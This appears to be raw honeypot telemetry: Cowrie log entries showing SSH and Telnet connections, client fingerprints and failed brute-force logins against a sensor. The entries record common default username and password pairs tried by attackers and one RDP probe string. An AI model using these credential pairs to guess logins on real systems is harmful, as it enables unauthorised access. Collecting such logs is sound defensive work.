{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:08.951707Z","src_ip":"94.26.106.229","session":"03add99b3eb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:09.137625Z","src_ip":"94.26.106.229","session":"083ca4d074a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41182,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b1ed2238cfa","protocol":"telnet","message":"New connection: 152.42.224.71:41182 (10.17.0.5:23) [session: 0b1ed2238cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:09.828382Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":56470,"dst_ip":"159.203.135.109","dst_port":22,"session":"846cb088fd5d","protocol":"ssh","message":"New connection: 94.26.106.229:56470 (159.203.135.109:22) [session: 846cb088fd5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:09.862178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:09.867025Z","src_ip":"94.26.106.229","session":"846cb088fd5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:09.954747Z","src_ip":"94.26.106.229","session":"846cb088fd5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:10.049448Z","src_ip":"94.26.106.229","session":"03add99b3eb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"p@ssw0rd","message":"login attempt [uftp/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:10.328040Z","src_ip":"94.26.106.229","session":"846cb088fd5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41196,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c5afe547765","protocol":"telnet","message":"New connection: 152.42.224.71:41196 (10.17.0.5:23) [session: 2c5afe547765]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:10.883488Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":49790,"dst_ip":"159.203.135.109","dst_port":22,"session":"e22110a87539","protocol":"ssh","message":"New connection: 45.156.87.204:49790 (159.203.135.109:22) [session: e22110a87539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:10.931084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:10.935865Z","src_ip":"45.156.87.204","session":"e22110a87539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:11.018511Z","src_ip":"45.156.87.204","session":"e22110a87539","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jasdeep","password":"jasdeep123","message":"login attempt [jasdeep/jasdeep123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:11.266676Z","src_ip":"45.156.87.204","session":"e22110a87539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:11.418482Z","src_ip":"94.26.106.229","session":"846cb088fd5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49262,"dst_ip":"10.17.0.5","dst_port":22,"session":"767254c20628","protocol":"ssh","message":"New connection: 152.42.212.128:49262 (10.17.0.5:22) [session: 767254c20628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:11.736642Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:11.741664Z","src_ip":"152.42.212.128","session":"767254c20628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:11.745498Z","src_ip":"152.42.212.128","session":"767254c20628","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:12.447165Z","src_ip":"45.156.87.204","session":"e22110a87539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":56476,"dst_ip":"159.203.135.109","dst_port":22,"session":"c19aca1cf489","protocol":"ssh","message":"New connection: 94.26.106.229:56476 (159.203.135.109:22) [session: c19aca1cf489]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:12.612066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:12.617104Z","src_ip":"94.26.106.229","session":"c19aca1cf489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.390456676483154,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:12.645033Z","src_ip":"152.42.224.71","session":"a06943fbf2b6","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:12.709423Z","src_ip":"94.26.106.229","session":"c19aca1cf489","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cacti","password":"password","message":"login attempt [cacti/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:12.988280Z","src_ip":"94.26.106.229","session":"c19aca1cf489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:14.083427Z","src_ip":"94.26.106.229","session":"c19aca1cf489","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":46560,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdf5e98b5bac","protocol":"ssh","message":"New connection: 45.156.87.204:46560 (159.203.135.109:22) [session: bdf5e98b5bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:14.415711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:14.420716Z","src_ip":"45.156.87.204","session":"bdf5e98b5bac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:14.503394Z","src_ip":"45.156.87.204","session":"bdf5e98b5bac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":35006,"dst_ip":"159.203.135.109","dst_port":22,"session":"a00ad7eb1248","protocol":"ssh","message":"New connection: 94.26.106.229:35006 (159.203.135.109:22) [session: a00ad7eb1248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:14.784971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:14.790847Z","src_ip":"94.26.106.229","session":"a00ad7eb1248","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:14.880257Z","src_ip":"94.26.106.229","session":"a00ad7eb1248","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41204,"dst_ip":"10.17.0.5","dst_port":23,"session":"8203dee8883e","protocol":"telnet","message":"New connection: 152.42.224.71:41204 (10.17.0.5:23) [session: 8203dee8883e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:14.969922Z"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:15.141194Z","src_ip":"45.156.87.204","session":"bdf5e98b5bac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123qwe","message":"login attempt [ftpuser/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:15.166201Z","src_ip":"94.26.106.229","session":"a00ad7eb1248","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41200,"dst_ip":"10.17.0.5","dst_port":23,"session":"77ac29c8832a","protocol":"telnet","message":"New connection: 152.42.224.71:41200 (10.17.0.5:23) [session: 77ac29c8832a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:15.450782Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:16.227165Z","src_ip":"45.156.87.204","session":"bdf5e98b5bac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:16.324795Z","src_ip":"94.26.106.229","session":"a00ad7eb1248","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":35012,"dst_ip":"159.203.135.109","dst_port":22,"session":"780ce9ad9aa5","protocol":"ssh","message":"New connection: 94.26.106.229:35012 (159.203.135.109:22) [session: 780ce9ad9aa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:17.523708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:17.528369Z","src_ip":"94.26.106.229","session":"780ce9ad9aa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:17.612325Z","src_ip":"94.26.106.229","session":"780ce9ad9aa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:17.863644Z","src_ip":"94.26.106.229","session":"780ce9ad9aa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":46574,"dst_ip":"159.203.135.109","dst_port":22,"session":"37e9553635bc","protocol":"ssh","message":"New connection: 45.156.87.204:46574 (159.203.135.109:22) [session: 37e9553635bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:18.523388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:18.533479Z","src_ip":"45.156.87.204","session":"37e9553635bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:18.617680Z","src_ip":"45.156.87.204","session":"37e9553635bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:18.869556Z","src_ip":"45.156.87.204","session":"37e9553635bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:18.953606Z","src_ip":"94.26.106.229","session":"780ce9ad9aa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":35018,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b339578433c","protocol":"ssh","message":"New connection: 94.26.106.229:35018 (159.203.135.109:22) [session: 7b339578433c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:19.635929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:03:19.640559Z","src_ip":"94.26.106.229","session":"7b339578433c","protocol":"ssh"}
